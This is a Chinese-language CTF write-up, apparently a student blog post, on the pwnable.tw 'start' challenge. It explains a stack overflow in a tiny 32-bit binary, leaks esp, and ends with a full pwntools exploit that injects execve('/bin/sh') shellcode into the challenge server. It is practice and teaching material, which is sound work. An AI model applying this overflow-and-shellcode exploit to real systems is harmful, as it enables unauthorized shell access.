今天學長佈置了作業,,,做這道題,,,
言承這次遇到的第一個情況,,,就是頁面打開了,題目出不來。流淚。
大家可以直接用下面圖片的ip,端口,如果有需要,想自己pwnable.tw,可以私信我。
然後我們來看題
32位的程序,程序什麼也沒開,,,感覺挺友善的哈
執行效果,,挺好就一個輸入點,基本猜測就是棧溢出,,,
用ida打開有點傻眼,沒有main函數,只有start和exit,啓動和退出?什麼操作,內心有點忐忑
只有start可以看反彙編,,,然而,看的還是有點懵,,,
只看出它調用了一個write函數,別的啥也不知道了,,,
接受事實,這道硬核的,有點不同於之前的題目,真的要上彙編了
因爲彙編看着,大致的意思能理解,但是還是有點懵,所以我花了下堆棧示意圖
剛開始的初始化
調用write函數和read函數,棧中的情況
第一個函數是wirte函數,我們可以通過註釋可以得知,第二個爲什麼是read函數呢?是通過ax裏面的系統號
查看系統號地址:http://syscalls.kernelgrok.com/
程序先將系統號放入ax,然後int 80中斷調用函數
我們可以看到我們可以輸入0x3c,但是返回地址距離輸入只有0x14,所以,很顯然這裏可以造成溢出
通過堆棧圖也可以看出來,覆蓋率爲20(=0x14)個字節
既然我們可以控制返回地址,那麼我們就要想怎麼拿到shell了,因爲nx沒有開啓,我們又能在堆棧中輸入數據,所以,想到可以傳入shellcode到棧上,然後再將返回地址覆蓋到shellcode地址。
爲了覆蓋shellcode的地址,我們需要找到一個地址,就是esp,我們可以覆蓋返回地址爲08048087,那麼程序會調回去,繼續輸出,而此時esp走到了esp的位置,會將esp的地址輸出
步驟:
(1)先覆蓋造成棧溢出,將返回地址覆蓋0x08048087,泄漏esp的地址
(2)輸入的時候,佈置棧,覆蓋返回地址爲shellcode的地址
addr+20就是esp下面五格,esp+14h的時候也會來到addr的地址,然後retn,就是pop ip,就執行到shellcode了
所以,exp如下:
from pwn import *
p = remote('chall.pwnable.tw',10000)
p.recvuntil(':')
payload = 'a'*20 + p32(0x08048087)
p.send(payload)
addr = u32(p.recv(4))+20
shellcode = '\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80'
payload = 'a'*20 + p32(addr) + shellcode
p.send(payload)
p.interactive()
#shellcode = 'x31xc9xf7xe1x51x68x2fx2fx73x68x68x2fx62x69x6ex89xe3xb0x0bxcdx80'
#安全客那篇這麼寫不行,,,